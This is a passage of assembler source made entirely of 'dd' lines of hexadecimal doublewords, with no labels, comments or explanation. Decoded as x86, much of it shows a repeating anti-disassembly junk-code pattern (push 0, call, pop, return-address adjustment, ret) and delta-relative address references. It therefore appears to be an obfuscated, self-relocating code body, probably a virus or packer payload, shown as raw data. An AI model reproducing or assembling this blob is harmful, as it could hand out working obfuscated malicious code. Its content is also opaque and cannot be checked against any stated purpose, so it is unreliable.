		dd 0F38B0614h, 0A5E9h, 85C7F900h, 617DFBBh, 1, 0E852006Ah
		dd 3, 5AC35A20h, 4245489h, 4244481h, 16h, 0DEC35242h, 85094584h
		dd 6142AF1h, 9E8h, 94C55600h, 860D9980h, 0E95FBAC1h, 62h
		dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 18h, 0BCC35545h
		dd 6A1A0AC4h, 2341B58Bh, 0BD8B0614h, 6140AB5h, 0DFBB85C7h
		dd 617h, 6A0000h, 3E850h, 58200000h, 448958C3h,	44810424h
		dd 1D0424h, 50400000h, 0A9D0DDC3h, 467D8C7Bh, 604CF82Ah
		dd 50DA8B66h, 9D8D615Fh, 6140C5Dh, 0E855006Ah, 3, 5DC35D20h
		dd 4246C89h, 4244481h, 1Ah, 77C35545h, 930E5EF0h, 238194D1h
		dd 0FFFFFEFFh, 0DD9BD8Bh, 8C660614h, 0FAB70FDBh, 0F04C3F6h
		dd 8984h, 52006A00h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h
		dd 1A04h, 0C3524200h, 0E38BB472h, 6655CB5Fh, 9589F18Bh
		dd 6140A4Dh, 419D2950h,	5F06142Ch, 121195FFh, 6A0614h
		dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 170424h, 56460000h
		dd 0DCF92AC3h, 0AE9D8h,	93250000h, 83B7CDB6h, 46A57C41h
		dd 0AE990h, 0AC90000h, 5AB7DE6Dh, 1300772Ch, 8E0F5050h
		dd 2, 905F5F56h, 12A5B589h, 0D0E90614h,	6A000003h, 3E85000h
		dd 20000000h, 8958C358h, 81042444h, 19042444h, 40000000h
		dd 728BC350h, 0CE0582FFh, 0BE00B0F5h, 8C74E5Fh,	6A70E6h
		dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 190424h, 55450000h
		dd 0F281CC3h, 0E9830D44h, 0Eh, 22C6F436h, 0EB0BDBEBh, 0CF511E22h
		dd 0BD8BBE3Dh, 6142B11h, 8D8971E4h, 6141235h, 9D8B60Fh
		dd 140D0585h, 6BA06h, 0BD8B0000h, 6142019h, 9D89C38Bh
		dd 61417D1h, 0F04E8C1h,	186h, 0F766F500h, 499589E2h, 2B06141Ah
		dd 51006AD8h, 3E8h, 0C3592000h,	244C8959h, 24448104h, 1904h
		dd 0C3514100h, 0D0A59EF0h, 0F935CC1h, 1184h, 0BE525000h
		dd 12F3AB12h, 8D0F310Fh, 0
		dd 9350585Ah, 2C05B5FFh, 6A0614h, 3E855h, 5D200000h, 6C895DC3h
		dd 44810424h, 150424h, 55450000h, 0E968E6C3h, 0Ch, 57B222F7h
		dd 0A5EE4105h, 0FBA3FA0h, 297195FFh, 8B500614h,	0B05EF7h
		dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 1Dh, 16C35242h
		dd 7028C75Bh, 3E0C9897h, 6860FC6h, 0B000000h, 140A69B5h
		dd 6A70E606h, 3E85500h,	20000000h, 895DC35Dh, 8104246Ch
		dd 17042444h, 45000000h, 0CC3CC355h, 71E4F1F7h,	2DA9B509h
		dd 6E80614h, 0C3000000h, 0C4EB95E0h, 613C5F0Bh,	249830Fh
		dd 6A0000h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 1D0424h
		dd 52420000h, 3EAEDC3h,	603BB5D5h, 0E8C3B4CAh, 13h, 0B4F00D8Bh
		dd 5BEBA2B1h, 0CFD8485Ah, 1162BFBAh, 89F18902h,	14180DBDh
		dd 0B60F5F06h, 39B58BD8h, 0BA06142Ah, 6, 0E852006Ah, 3
		dd 5AC35A20h, 4245489h,	4244481h, 16h, 54C35242h, 0C38BC1E8h
		dd 0EE9h, 0F2E2D100h, 56FDEABFh, 0A836A5ECh, 0C11B69EBh
		dd 6E904E8h, 60000000h,	76675CC0h, 0E2F76662h, 0E853006Ah
		dd 3, 5BC35B20h, 4245C89h, 4244481h, 17h, 0C7C35343h, 0BE2BBEAAh
		dd 306CEB9Ch, 6AD82Bh, 3E852h, 5A200000h, 54895AC3h, 44810424h
		dd 180424h, 52420000h, 0A595D2C3h, 0BF589705h, 41BCDF7Bh
		dd 880FD82Bh, 15Fh, 0BD19D89h, 7B90614h, 89000000h, 141B0195h
		dd 0C18306h, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h
		dd 15h,	6DC35040h, 0B1852909h, 3B06142Fh, 20860FD9h, 6A000001h
		dd 3E85600h, 20000000h,	895EC35Eh, 81042474h, 1A042444h
		dd 46000000h, 0FFF7C356h, 0F5C19BB1h, 0D98C66F7h, 0E857006Ah
		dd 3, 5FC35F20h, 4247C89h, 4244481h, 19h, 7FC35747h, 0FF0B7F88h
		dd 6E865h, 0CA030000h, 0F0EDE555h, 2B41BD8Bh, 0F5F0614h
		dd 683h, 19D8900h, 0F606142Bh, 840F04C1h, 0ABh,	0E852006Ah
		dd 3, 5AC35A20h, 4245489h, 4244481h, 1Ch, 0A6C35242h, 37FB4C4Ah
		dd 4F92CF20h, 0E5F78166h, 1195FFE4h, 89061412h,	1425E995h
		dd 6A5B06h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 140424h
		dd 52420000h, 0C32BBAC3h, 11C19589h, 8D290614h,	6142545h
		dd 8343Dh, 40860F00h, 6A000000h, 3E85500h, 20000000h, 895DC35Dh
		dd 8104246Ch, 16042444h, 45000000h, 43F6C355h, 25E9DEh
		dd 6A0000h, 3E851h, 59200000h, 4C8959C3h, 44810424h, 150424h
		dd 51410000h, 8BB5C0C3h, 99BD8BC0h, 8B061409h, 6AD88BC3h
		dd 3E85600h, 20000000h,	895EC35Eh, 81042474h, 1B042444h
		dd 46000000h, 8C46C356h, 7F7BB25Eh, 85C77D44h, 61420ADh
		dd 5E1E9513h, 0E851006Ah, 3, 59C35920h,	4244C89h, 4244481h
		dd 16h,	0DBC35141h, 0BD8BB412h,	6140765h, 6AC08Bh, 3E857h
		dd 5F200000h, 7C895FC3h, 44810424h, 160424h, 57470000h
		dd 5B9EEEC3h, 38B0Fh, 8B660000h, 5BD81F8h, 0D006142Ch
		dd 0F000007h, 3D85h, 57006A00h,	3E8h, 0C35F2000h, 247C895Fh
		dd 24448104h, 1D04h, 0C3574700h, 8A07EA89h, 73E43F8Ah
		dd 9D89705Ah, 6141E89h,	8A18589h, 85FF0614h, 6142C05h
		dd 1A0DBD8Bh, 0B5FF0614h, 6142C05h, 0E853006Ah,	3, 5BC35B20h
		dd 4245C89h, 4244481h, 1Bh, 66C35343h, 5D66A23Ah, 663790FCh
		dd 0FF36E9BEh, 14297195h, 51006A06h, 3E8h, 0C3592000h
		dd 244C8959h, 24448104h, 1504h,	0C3514100h, 0BD8B389Eh
		dd 6140CCDh, 15D5B58Bh,	6A900614h, 3E85700h, 20000000h
		dd 895FC35Fh, 8104247Ch, 1B042444h, 47000000h, 8B73C357h
		dd 774FC930h, 8B56F02Dh, 140B49B5h, 11BD8906h, 5F061420h
		dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 15h, 85C35141h
		dd 0F7B70F1Ch, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h
		dd 1Dh,	47C35646h, 33810964h, 0EABA0008h, 0C810FAAh, 0E9000000h
		dd 7, 0C6B52EB7h, 0F989FAC1h, 865B589h,	6A0614h, 3E857h
		dd 5F200000h, 7C895FC3h, 44810424h, 190424h, 57470000h
		dd 8A339BC3h, 0F93B9E4Eh, 68E0Fh, 0B58B0000h, 614118Dh
		dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 1Ah, 84C35040h
		dd 0D5A6953Dh, 0B52B967Ah, 6142E61h, 6BB1BF66h,	6AFEBF0Fh
		dd 3E85700h, 20000000h,	895FC35Fh, 8104247Ch, 1C042444h
		dd 47000000h, 9B9FC357h, 14486627h, 8B1EE8CBh, 140F49BDh
		dd 0F79FE906h, 0C18BFFFFh, 31199D01h, 4EB0614h,	0
		dd 8B666056h, 665F61F0h, 858DF78Bh, 6140791h, 34B1BD29h
		dd 66500614h, 890B2BBFh, 0EE92404h, 9D000000h, 6BDD0CCDh
		dd 560EAB3Eh, 5A68503Fh, 66006A67h, 6AB6C5BEh, 6800F00h
		dd 8B000000h, 140779BDh, 6A858D06h, 0E80617EBh,	10h, 0A50C35B6h
		dd 967F3D16h, 0F1E93F65h, 41C449A6h, 0FC4B760h,	87h, 835F6100h
		dd 6A05C0h, 3E851h, 59200000h, 4C8959C3h, 44810424h, 1A0424h
		dd 51410000h, 38D761C3h, 71A32C26h, 6690FB8Bh, 9050F08Bh
		dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 18h, 0EAC35646h
		dd 379F9034h, 84A2C781h, 6A08C0h, 699BD09h, 6A0614h, 1B1995FFh
		dd 6A0614h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1C0424h
		dd 53430000h, 7F4226C3h, 0CDC5F905h, 10E84B44h,	0A9000000h
		dd 0F30E7E5Ch, 0C0709BBAh, 0EA66694Ch, 0F103E4Eh, 28Eh
		dd 5FF38B00h, 0A7789D8Dh, 27BE0617h, 0FF1F0BFCh, 55006AD3h
		dd 3E8h, 0C35D2000h, 246C895Dh,	24448104h, 1904h, 0C3554500h
		dd 0FC2648D8h, 0EE813F93h, 271D6FC2h, 10E9h, 0E27EE800h
		dd 1CFFAC69h, 0BF4A0BECh, 0CE44BAF2h, 0ED85FFA7h, 6A06142Dh
		dd 3E85200h, 20000000h,	895AC35Ah, 81042454h, 17042444h
		dd 42000000h, 0DE6BC352h, 8E9F765h, 0E8000008h,	0
		dd 74ED815Dh, 6A0617EBh, 3E85300h, 20000000h, 895BC35Bh
		dd 8104245Ch, 15042444h, 43000000h, 0F764C353h,	2C05BD81h
		dd 7D00614h, 860F0000h,	18Ch, 0E5BD8950h, 5E061406h, 17D99D8Bh
		dd 0BD8B0614h, 61401BDh, 100E381h, 0BF0F0000h, 0FDB0BFBh
		dd 0DB85h, 56006A00h, 3E8h, 0C35E2000h,	2474895Eh, 24448104h
		dd 1404h, 0C3564600h, 605E50B2h, 9E9h, 4FE0FD00h, 97F1E8A4h
		dd 0B50B0BE3h, 6142A15h, 0E8BD8361h, 617E9h, 40840Fh, 0B58B0000h
		dd 61409C5h, 0BFE9h, 52006A00h,	3E8h, 0C35A2000h, 2454895Ah
		dd 24448104h, 1D04h, 0C3524200h, 0AF9BA7CFh, 86F5F6D2h
		dd 0BD2980F9h, 6142D49h, 5E9h, 8B626900h, 85C71301h, 617E9E8h
		dd 1, 0E857006Ah, 3, 5FC35F20h,	4247C89h, 4244481h, 1Bh
		dd 75C35747h, 32577986h, 0E9AC434Ch, 58h, 0E853006Ah, 3
		dd 5BC35B20h, 4245C89h,	4244481h, 1Ah, 0C3C35343h, 4F072581h
		dd 0B5336E65h, 6140899h, 0E9E885C7h, 617h, 6A0000h, 3E857h
		dd 5F200000h, 7C895FC3h, 44810424h, 180424h, 57470000h
		dd 5CAB74C3h, 0B5292560h, 6140435h, 17D99D8Dh, 6A0614h
		dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 1B0424h, 51410000h
		dd 0E006C8C3h, 0FB8E78FEh, 0FF2381D9h, 6AFFFFFEh, 3E85100h
		dd 20000000h, 8959C359h, 8104244Ch, 19042444h, 41000000h
		dd 206BC351h, 2ACA5673h, 5D8589h, 85090614h, 6141A25h
		dd 6ADB8C66h, 3E85000h,	20000000h, 8958C358h, 81042444h
		dd 15042444h, 40000000h, 6534C350h, 0ADE9C681h,	0B5333A8Fh
		dd 6142B2Dh, 0F04C3F6h,	3784h, 1195FF00h, 0F8061412h, 0AB5B533h
		dd 8B500614h, 240489F3h, 0E856006Ah, 3,	5EC35E20h, 4247489h
		dd 4244481h, 1Ch, 24C35646h, 18DDD3C2h,	0ED122A00h, 40FE9h
		dd 52006A00h, 3E8h, 0C35A2000h,	2454895Ah, 24448104h, 1904h
		dd 0C3524200h, 779E32C9h, 8589DAB2h, 6140171h, 6A00B0h
		dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 140424h, 53430000h
		dd 0F606CC3h, 587h, 0F6DEBF00h,	12E92D46h, 52000000h, 9968E5CEh
		dd 5DE451A5h, 7C37F762h, 8314DC3h, 70E661DEh, 800Fh, 71E40000h
		dd 26458D29h, 0B60F0614h, 0F99D89D8h, 0BA06142Dh, 6, 840FC38Bh
		dd 6, 1F89B58Bh, 0B58B0614h, 61411EDh, 6A04E8C1h, 3E85200h
		dd 20000000h, 895AC35Ah, 81042454h, 18042444h, 42000000h
		dd 8D22C352h, 66EA2E52h, 669847BEh, 0D82BE2F7h,	0B65B58Bh
		dd 50500614h, 38C0Fh, 8B660000h, 1C895FF2h, 0D5BD8B24h
		dd 0FC06141Fh, 2C05B5FFh, 870F0614h, 2,	95FFF18Bh, 6142971h
		dd 2BE5B523h, 0B00614h,	0EE9h, 0B9BCED00h, 3605FA95h, 34644448h
		dd 0E666B6BAh, 5E85270h, 46000000h, 46196DC7h, 0FE8h, 1AE79900h
		dd 0AFEE225h, 0E6C9091Ch, 190201B8h, 0BF5E5F5Fh, 7F4DF177h
		dd 8B0F71E4h, 4, 0DD66BE66h, 830F613Ch,	2C0h, 0E855006Ah
		dd 3, 5DC35D20h, 4246C89h, 4244481h, 16h, 15C35545h, 0B60FEFDEh
		dd 6BAD8h, 6A0000h, 3E857h, 5F200000h, 7C895FC3h, 44810424h
		dd 190424h, 57470000h, 6D30AFC3h, 894EE59Ch, 140A31BDh
		dd 8BC38B06h, 4E8C1F3h,	0E852006Ah, 3, 5AC35A20h, 4245489h
		dd 4244481h, 1Dh, 2EC35242h, 0B0FD345Dh, 76A83BBDh, 0E2F7661Dh
		dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 1Ah, 0A2C35545h
		dd 3BA683E6h, 9E93E3Bh,	0E3000000h, 7F957C6h, 0A6B74A13h
		dd 0BE8h, 0FFCE8C00h, 23B868CEh, 2D930AAFh, 11E8h, 31586300h
		dd 0CB702CADh, 99BC4D64h, 8F862381h, 870FD983h,	0
		dd 0D82B5E5Eh, 0E1AAD681h, 6658133Fh, 2DDEF681h, 880FD82Bh
		dd 1D0h, 0E853006Ah, 3,	5BC35B20h, 4245C89h, 4244481h
		dd 1Dh,	8C35343h, 1DF81138h, 485BA135h,	0A5ECBE73h, 0BD2B0D7Ah
		dd 61419D1h, 7B9h, 55006A00h, 3E8h, 0C35D2000h,	246C895Dh
		dd 24448104h, 1C04h, 0C3554500h, 13C0FD84h, 212B4D6Dh
		dd 28BF66A7h, 0C18304h,	2BE5BD8Bh, 0D93B0614h, 162860Fh
		dd 6A0000h, 3E851h, 59200000h, 4C8959C3h, 44810424h, 1B0424h
		dd 51410000h, 0A3792AC3h, 0EA68C0ECh, 0FD8D8970h, 66061418h
		dd 6AD98Ch, 3E851h, 59200000h, 4C8959C3h, 44810424h, 1C0424h
		dd 51410000h, 2241F1C3h, 1F9F280Ch, 0C1F6633Fh,	0CE840F04h
		dd 29000000h, 141E3D8Dh, 1195FF06h, 0F8061412h,	55006A5Bh
		dd 3E8h, 0C35D2000h, 246C895Dh,	24448104h, 1804h, 0C3554500h
		dd 44386589h, 0E8F98B54h, 9, 9CCBC83Ah,	0B7D2562Bh, 0B58B603Eh
		dd 6141B31h, 12618529h,	5F610614h, 6AC32Bh, 3E855h, 5D200000h
		dd 6C895DC3h, 44810424h, 1D0424h, 55450000h, 7D573AC3h
		dd 1CDCDDEFh, 66B05C1Bh, 3D489FBEh, 834h, 4B860Fh, 6A0000h
		dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1A0424h, 55450000h
		dd 0A82AD6C3h, 876A9EEFh, 6A19D01h, 0B50B0614h,	6140199h
		dd 53E9h, 11E96000h, 77000000h,	0BFE04DC0h, 84256C08h
		dd 4378F7Ah, 69A05F52h,	6AC08B61h, 3E85300h, 20000000h
		dd 895BC35Bh, 8104245Ch, 1A042444h, 43000000h, 0CC62C353h
		dd 1CBA5A5Dh, 0CE999h, 3D390000h, 0EA714778h, 2D86E19Fh
		dd 0B58BF809h, 61419D1h, 0D88BC38Bh, 254DBD23h,	85C70614h
		dd 6140C5Dh, 152B537Dh,	12E9BD03h, 0C08B0614h, 0EA816660h
		dd 89609FA3h, 1413219Dh, 81616106h, 142C05BDh, 7D006h
		dd 33850F00h, 8B000000h, 140C65B5h, 585FF06h, 6A06142Ch
		dd 3E85100h, 20000000h,	8959C359h, 8104244Ch, 17042444h
		dd 41000000h, 6AFBC351h, 0F60E132h, 83h, 0B5FF6100h, 6142C05h
		dd 1CE5B589h, 0B58B0614h, 6141339h, 297195FFh, 8D890614h
		dd 6141E51h, 0A1B53190h, 89061425h, 14259DB5h, 50006A06h
		dd 3E8h, 0C3582000h, 24448958h,	24448104h, 1D04h, 0C3504000h
		dd 7EC383Dh, 5CA77A6Ch,	0BD8B9B1Ch, 6141F05h, 0E855006Ah
		dd 3, 5DC35D20h, 4246C89h, 4244481h, 1Ah, 0DCC35545h, 0DD061A3h
		dd 0BD3134D7h, 6141615h, 2B858D89h, 0B5890614h,	61418E1h
		dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 14h, 4BC35747h
		dd 8589F88Bh, 61415B9h,	0E850006Ah, 3, 58C35820h, 4244489h
		dd 4244481h, 1Dh, 41C35040h, 56D4EAA4h,	0CE257EB5h, 0EDB58BB6h
		dd 6A061433h, 3E85500h,	20000000h, 895DC35Dh, 8104246Ch
		dd 16042444h, 45000000h, 46D9C355h, 57006ACEh, 3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1404h,	0C3574700h, 1D8D8937h
		dd 8B061416h, 140FF5BDh, 0F829E906h, 6AFFFFh, 3E857h, 5F200000h
		dd 7C895FC3h, 44810424h, 1D0424h, 57470000h, 0A73089C3h
		dd 34DFE812h, 8B34C9F7h, 142E11B5h, 61BD8906h, 8B061420h
		dd 52006AC1h, 3E8h, 0C35A2000h,	2454895Ah, 24448104h, 1404h
		dd 0C3524200h, 0CF8166DCh, 4EBDD7Eh, 0
		dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 1Bh, 8DC35040h
		dd 0D30B83A1h, 66B30DF4h, 2F5AC681h, 6BD9D29h, 0BF510614h
		dd 6A5E17B1h, 91858D5Eh, 0E9061407h, 0Ah, 6F4F693h, 437F9054h
		dd 5390F8F1h, 14E8h, 0BFA77300h, 0D3B03349h, 2CB7D08Bh
		dd 68CC3FE2h, 778C3536h, 0F18B66E0h, 0F505E5Fh,	885h, 0D98A6000h
		dd 4706B866h, 85019061h, 61411C5h, 8B66006Ah, 0F59D29F8h
		dd 6A061406h, 55006A00h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h
		dd 1604h, 0C3554500h, 60D3C39Ah, 890F60h, 89000000h, 140D3D85h
		dd 0FE96106h, 0C5000000h, 29079FA0h, 85F945A7h,	0B3B601E4h
		dd 8D619505h, 17F5E585h, 0FA8B6606h, 6A05C083h,	3E85300h
		dd 20000000h, 895BC35Bh, 8104245Ch, 1A042444h, 43000000h
		dd 2F6AC353h, 8E601FBAh, 0A9BD29F3h, 90061407h,	6E950h
		dd 674D0000h, 8DD0E181h, 6870F90h, 0F000000h, 82h, 6A006A00h
		dd 3E85300h, 20000000h,	895BC35Bh, 8104245Ch, 17042444h
		dd 43000000h, 8F0C353h,	8B60FB57h, 1412E98Dh, 8FBA6006h
		dd 60142743h, 0E9616161h, 13h, 819096E0h, 1AD20BF4h, 6577F722h
		dd 4B88BB06h, 95F7E8Fh,	14235595h, 6A006A06h, 3E85300h
		dd 20000000h, 895BC35Bh, 8104245Ch, 1D042444h, 43000000h
		dd 0AD0CC353h, 9D069F59h, 0FF97BD34h, 24D9BD8Bh, 95FF0614h
		dd 6141B19h, 0A7789D8Dh, 6A0617h, 3E851h, 59200000h, 4C8959C3h
		dd 44810424h, 1A0424h, 51410000h, 0A7FF3DC3h, 220DFDCBh
		dd 9B3357BFh, 51852952h, 0FF061412h, 50006AD3h,	3E8h, 0C3582000h
		dd 24448958h, 24448104h, 1504h,	0C3504000h, 8B537A94h
		dd 140FA1BDh, 0BD8B5E06h, 61401BDh, 2DED85FFh, 6A0614h
		dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 190424h, 51410000h
		dd 4AAFE3C3h, 0E89CA98Bh, 12h, 24248CB4h, 6B6C06BCh, 0E519CA6Fh
		dd 1A88B479h, 815E82E0h, 7BE563E6h, 7A3E93Eh, 0E80000h
		dd 5D000000h, 0F5EFED81h, 81FC0617h, 142C05BDh,	7D006h
		dd 61860F00h, 1000001h,	1411E5B5h, 9D8BF806h, 6142AA5h
		dd 0CE8h, 0EBF27600h, 0B3BA5B0Bh, 0AA32F49h, 8166600Fh
		dd 890689F7h, 142649B5h, 605E6106h, 0BAA2BA66h,	5ACF8B52h
		dd 0E38161h, 81000001h,	1C47D7DEh, 0FDB0B6Dh, 9B85h, 0F88B6600h
		dd 0F39CBD83h, 0F000617h, 4F84h, 50006A00h, 3E8h, 0C3582000h
		dd 24448958h, 24448104h, 1A04h,	0C3504000h, 1171DC20h
		dd 0F641CF7h, 91E9FFB7h, 6A000000h, 3E85200h, 20000000h
		dd 895AC35Ah, 81042454h, 17042444h, 42000000h, 0C3FDC352h
		dd 0BD8B0ADCh, 6140DD9h, 0F39C85C7h, 10617h, 0CE90000h
		dd 0C8000000h, 0DE41550Eh, 8C545263h, 0E9E72844h, 4Ch
		dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 14h, 84C35242h
		dd 0F39C85C7h, 617h, 6A0000h, 3E856h, 5E200000h, 74895EC3h
		dd 44810424h, 1A0424h, 56460000h, 0D223ADC3h, 0EF8D41C2h
		dd 64BF66h, 2AA59D8Dh, 9600614h, 14008D9Dh, 5BD3106h, 61061400h
		dd 0FEFF2381h, 6AFFFFh,	3E857h,	5F200000h, 7C895FC3h, 44810424h
		dd 170424h, 57470000h, 22FA60C3h, 0EE997h, 35CF0000h, 556FBC5Bh
		dd 0EC6D80A8h, 44828CEAh, 89DB8C66h, 14262D8Dh,	4C3F606h
		dd 26840Fh, 95FF0000h, 6141211h, 12E990h, 0E0AD0000h, 5533BCDFh
		dd 5428CBD4h, 0DD2FA3C2h, 693759Ch, 0B58B9050h,	6142495h
		dd 41CE9h, 56006A00h, 3E8h, 0C35E2000h,	2474895Eh, 24448104h
		dd 1604h, 0C3564600h, 89B21508h, 140C0DBDh, 6600B006h
		dd 0D6F2DF81h, 6A70E6h,	3E853h,	5B200000h, 5C895BC3h, 44810424h
		dd 170424h, 53430000h, 105954C3h, 0DB8BBFDBh, 71E436FBh
		dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 15h, 41C35343h
		dd 858B6090h, 614183Dh,	6820F61h, 8B000000h, 14077DBDh
		dd 0D8B60F06h, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h
		dd 1Bh,	3EC35545h, 424CA399h, 53CAC71Dh, 870Fh,	815F0000h
		dd 86B448DFh, 6BA66h, 85890000h, 6141F31h, 13850F60h, 0E8000000h
		dd 0Dh,	302F40ABh, 0F7AB4DEDh, 8588A506h, 0EE95BCDh, 0AE000000h
		dd 0BD9F56h, 0F8C2D319h, 136C6E34h, 0C38B6199h,	0E856006Ah
		dd 3, 5EC35E20h, 4247489h, 4244481h, 1Bh, 3EC35646h, 72294801h
		dd 89A588C5h, 140A59BDh, 958D8906h, 0C1061431h,	6A04E8h
		dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 1C0424h, 51410000h
		dd 56BFCEC3h, 581BE83Eh, 0F76612F9h, 57006AE2h,	3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1504h,	0C3574700h, 0F7819603h
		dd 0D684D16h, 2BFB8B66h, 0ADB58BD8h, 5006142Bh,	6A241C89h
		dd 3E85300h, 20000000h,	895BC35Bh, 8104245Ch, 16042444h
		dd 43000000h, 958BC353h, 0FEBF0F64h, 2C05B5FFh,	6A0614h
		dd 3E850h, 58200000h, 448958C3h, 44810424h, 140424h, 50400000h
		dd 95FF74C3h, 6142971h,	6870Fh,	9D890000h, 6141AADh, 8D2900B0h
		dd 6141609h, 6A70E6h, 3E857h, 5F200000h, 7C895FC3h, 44810424h
		dd 170424h, 57470000h, 0B5917DC3h, 71E4F9DFh, 0E857006Ah
		dd 3, 5FC35F20h, 4247C89h, 4244481h, 1Dh, 4AC35747h, 0CF87878Fh
		dd 0C06E8093h, 0F613C5Ah, 1F083h, 55006A00h, 3E8h, 0C35D2000h
		dd 246C895Dh, 24448104h, 1D04h,	0C3554500h, 68D8DB3Ah
		dd 0FEEDD312h, 0B60F60E3h, 218D29D8h, 0BA06140Eh, 6, 741B58Bh
		dd 0C38B0614h, 1DCDB58Bh, 0E8C10614h, 53006A04h, 3E8h
		dd 0C35B2000h, 245C895Bh, 24448104h, 1904h, 0C3534300h
		dd 7D100B82h, 0F766FFA2h, 53006AE2h, 3E8h, 0C35B2000h
		dd 245C895Bh, 24448104h, 1D04h,	0C3534300h, 187D96C7h
		dd 0F69DE8A0h, 9D89298Eh, 6141FE9h, 6AD82Bh, 3E856h, 5E200000h
		dd 74895EC3h, 44810424h, 1B0424h, 56460000h, 0C8ED8DC3h
		dd 0D5C55174h, 6A58E7h,	3E851h,	59200000h, 4C8959C3h, 44810424h
		dd 150424h, 51410000h, 2BDA4BC3h, 12880FD8h, 8B000001h
		dd 140C05B5h, 7B906h, 6A0000h, 3E850h, 58200000h, 448958C3h
		dd 44810424h, 160424h, 50400000h, 656B52C3h, 8361FC60h
		dd 0D93B00C1h, 0DB860Fh, 0B70F0000h, 0D98C66FAh, 141B589h
		dd 0C1F60614h, 0C1840F04h, 6A000000h, 3E85100h,	20000000h
		dd 8959C359h, 8104244Ch, 1A042444h, 41000000h, 8C73C351h
		dd 0CEBE5755h, 1195FF79h, 6A061412h, 3E85000h, 20000000h
		dd 8958C358h, 81042444h, 16042444h, 40000000h, 0BB55C350h
		dd 8D8960F1h, 61423E1h,	0A19B589h, 0E9610614h, 12h, 0DE91846Ah
		dd 5A46ADB3h, 5A23F555h, 0A6F02F80h, 6A5BE4DAh,	3E85000h
		dd 20000000h, 8958C358h, 81042444h, 14042444h, 40000000h
		dd 8BD3C350h, 141979B5h, 66C32B06h, 3B8DCE81h, 8343Dh
		dd 21860F00h, 8B000000h, 142E45BDh
		dd 0BE906h, 0E2CB0000h,	289DD2F4h, 0B33F6F46h, 0BE93Ch
		dd 95290000h, 6142F89h,	8B66C08Bh, 8BC38BF9h, 0E5BD29D8h
		dd 0C7061430h, 1417D985h, 912DBD06h, 52006A7Ch,	3E8h, 0C35A2000h
		dd 2454895Ah, 24448104h, 1704h,	0C3524200h, 811DAC47h
		dd 818D8B60h, 66061406h, 61152BBFh, 6AC08Bh, 3E855h, 5D200000h
		dd 6C895DC3h, 44810424h, 150424h, 55450000h, 314764C3h
		dd 1404699Dh, 5BD8106h,	0D006142Ch, 0F000007h, 2D85h, 50006A00h
		dd 3E8h, 0C3582000h, 24448958h,	24448104h, 1504h, 0C3504000h
		dd 0BF66AAE8h, 85FFB0B2h, 6142C05h, 11BDB533h, 0B5FF0614h
		dd 6142C05h, 31E78A60h,	140B258Dh, 95FF6106h, 6142971h
		dd 267DBD8Bh, 6A900614h, 3E85700h, 20000000h, 895FC35Fh
		dd 8104247Ch, 1A042444h, 47000000h, 0F976C357h,	3DFD3B10h
		dd 0E6BE6694h, 6870FE5h, 0F8000000h, 0E4E78166h, 56006A3Bh
		dd 3E8h, 0C35E2000h, 2474895Eh,	24448104h, 1804h, 0C3564600h
		dd 0DA7DB862h, 0D00ABF09h, 6A251Ch, 3E851h, 59200000h
		dd 4C8959C3h, 44810424h, 180424h, 51410000h, 0DE782EC3h
		dd 0BE66E854h, 9D89B97Eh, 6140A91h, 51B8FEBFh, 2EF811Ah
		dd 60116662h, 0E2EDE081h, 0D3811CB0h, 2F53DD4h,	94F78161h
		dd 897D0524h, 14025D8Dh, 2FBF6606h, 0DE816077h,	3548308Fh
		dd 0DE816660h, 0B501269Ch, 6142675h, 7E77D381h,	61611CE1h
		dd 0D99D8960h, 8006141Dh, 9CBF09D5h, 617E6D08h,	0E853006Ah
		dd 3, 5BC35B20h, 4245C89h, 4244481h, 16h, 0A1C35343h, 890FAACCh
		dd 0
		dd 2B3DBD89h, 0E9F50614h, 0FFFFF866h, 89F08B66h, 1419798Dh
		dd 6AC18B06h, 3E85100h,	20000000h, 8959C359h, 8104244Ch
		dd 18042444h, 41000000h, 104DC351h, 6655C02Fh, 7DBFF38Bh
		dd 0EB7667C3h, 4, 55006A00h, 3E8h, 0C35D2000h, 246C895Dh
		dd 24448104h, 1904h, 0C3554500h, 593E299Ch, 8166C3CAh
		dd 6A2DDFE7h, 3E85300h,	20000000h, 895BC35Bh, 8104245Ch
		dd 15042444h, 43000000h, 749C353h, 8D5FFC50h, 14079185h
		dd 55006A06h, 3E8h, 0C35D2000h,	246C895Dh, 24448104h, 1704h
		dd 0C3554500h, 0FF3E57D5h, 13E990h, 7B40000h, 3E4BC964h
		dd 0E5161D8Bh, 0B194D460h, 4D6EB782h, 0B96050AEh, 4F9EF083h
		dd 90613EB5h, 0E856006Ah, 3, 5EC35E20h,	4247489h, 4244481h
		dd 14h,	8C35646h, 3121BD8Bh, 0B70F0614h, 0F5006AF1h, 6A006Ah
		dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 1C0424h, 51410000h
		dd 0CD79ECC3h, 0B0DD3B30h, 858D565Dh, 617FFF4h,	6D7C72BFh
		dd 5C0831Eh, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h
		dd 16h,	0F4C35545h, 8950CF66h, 6A2404h,	3E852h,	5A200000h
